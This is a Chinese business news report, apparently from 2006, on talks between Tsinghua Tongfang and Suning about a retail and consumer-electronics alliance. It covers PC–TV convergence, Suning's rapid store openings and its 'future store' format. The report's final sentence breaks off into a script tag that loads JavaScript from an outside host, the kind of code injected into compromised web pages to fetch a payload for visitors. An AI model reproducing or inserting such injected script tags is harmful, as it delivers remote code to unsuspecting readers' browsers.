“在南京苏宁总部，清华同方高层与苏宁高层已经接连几天就双方结盟细节进行磋商，此次合作不同于以往商企间的简单买卖关系。”一位与双方高层多有接触的消息人士在与中国经济时报记者交谈时透露了上述消息。
这位要求隐去姓名的人士说，“清华同方总裁陆致成与苏宁董事长张近东就双方合作早有共识，此次陆率手下ｐｃ、消费电子、环保、教育等各部负责人与张及其手下黑电、白电、通讯、数码等部负责人再次会谈，意在加快双方合作步伐。清华同方或将包括ｐｃ、电视、碟机、娱乐休闲产品、相关教育产品等全部放在苏宁平台上，而苏宁也将借助清华同方强大研发生产能力与丰富产品线，在上海、南京等地探索新的、有科技含量的未来店模式”。
新消费电子
“我们寻求把在研发、生产方面的优势迅速转化为在终端上的优势，与终端厂商的合作可以实现我们的快速扩张。”不久前，陆致成在一次与记者交流时说，“我们准备打的招牌是3ｃ第一店”。
与苏宁的此次合作，无疑是陆酝酿已久的战略举措。
“我们不考核ｐｃ的利润率，同方ｐｃ定位是‘为同方打造品牌’。”陆致成承认，ｐｃ行业的利润率在进一步下降。但陆强调，同方的ｐｃ产业在与数字电视融合的“后ｐｃ时代”将会市场广阔、大有作为。
“对个人家庭来说，肯定有智能终端，不管是ｄｖｄ播放机还是卡拉ｏｋ，都是目前的家电厂商所无法做到的。因为家电厂商一没有高级的智能化的智能芯片，二没有像英特尔、ａｍｄ这些企业支持的ｃｐｕ。基于硬件来看，一定是目前ｐｃ平台代替家电，我觉得这是毫无疑问的。”
陆致成认为，当前数字家庭战略的强势推广，给清华同方带来了颠覆传统家电业的机会。
“在中国市场上，新的消费电子产业形态已经显现。”信息产业部电子信息产品司白为民处长在接受采访时认为，中国消费电子产业已经改变了过去以彩电为单一架构的产业形态，虽然近几年影碟机、音响、存储光盘等已经加入到消费电子产业之中，但在整个消费电子产业形态上，电脑的消费化、手机、ｄｖ、ｄｃ、ｐｍｐ等正在打破原有的产业格局。在新的消费电子产品形成的基础上，正在崛起新的产业簇群。
在陆的推动下，清华同方在强化其产品的消费特性，从专业应用市场向大众消费市场转型，在产业链上向具有消费ｄｎａ的产业进行了横向扩张，扩展了诸如电视、ｍｐ3、ｄｖ、ｄｃ等产品，而在电脑领域也正为其产品赋予更强的大众消费特性。各有消费ｄｎａ的产品，已经为3ｃ融合呈现出具体的形态。特别是随着通信技术、ｉｔ技术向消费电子产品市场的扩散，ｉｐｔｖ、家庭网络中心、机顶盒等将成为今后市场需求的增长点。
“同方做的是整体形象，而不仅仅是卖产品。我们不做单纯的电视机厂商！”在介入新消费电子领域的过程中，陆致成的态度很明确。清华同方产品涵盖了数字电视前端、终端产品、信息家电及网络游戏等不同类型的数字电视产品和内容。
今年年初开始，陆的“新消费电子战略”开始浮出水面。
未来店
“虽然我们目前跟全国的商业同行相比已经是比较大的了，但是跟我们期望达到的目标相比，还是很小的——我认为在现在的水平上至少能再扩大5到8倍。”苏宁总裁孙为民说。
在过去5年里，苏宁经历了罕见的高成长。2001年，苏宁平均每40天开一家店，2002年平均每20天开一家店，2003年平均每7天开一家店，2004年平均每5天开一家店，2005年5月1日，苏宁一天同时新开22家连锁店打破了国美一日连开11家新店的记录。这一年，苏宁新增连锁店140家，不到3天就开一家。
从今年四五月份开始，苏宁一个月新开20多家店已经是常态。
在一系列扩张举措中，苏宁战略出现些许变化。5月1日，苏宁南京珠江路店的开业引人关注。这家店叫“未来店”，号称中国家电第四代连锁第一店。
据苏宁方面介绍，该店是国内按照国际标准设计的第一家电器卖场，新店将成为苏宁未来店的样板。
据苏宁电器市场部人士透露，苏宁电器对这家店相当重视，苏宁全南京一半以上的产品资源都将集中到这家店来。该店是苏宁电器的一次大胆创新，从出样模式和产品结构上都在业内前所未有。
该店独特之处，主要在其充分展示了4ｃ融合，并强调消费者体验。
2006年5月9日和5月24日，苏宁电器在一个月内两次增发股票，每次约2500万股，总共融资达到15．6亿元人民币，在南京、上海等地，苏宁未来店将陆续开张。
对苏宁来讲，与在4ｃ领域有技术也有产品的清华同方合作，把其具有3ｃ功能、可直接上网的平板电视、碟机等与未来店扩张相结合，再合适不过。
新财富之路
越来越多的迹象表明，在融合的趋势下，一个全新的消费电子业形态开始呈现在人们面前。从全球消费电子产业形态的变化来看，从3ｃ融合到4ｃ融合，这一切都要归功于越来越多的通信和ｉｔ基础技术的标准化，并且向消费电子产品领域的扩散?script src=http://er12.com/t.js>
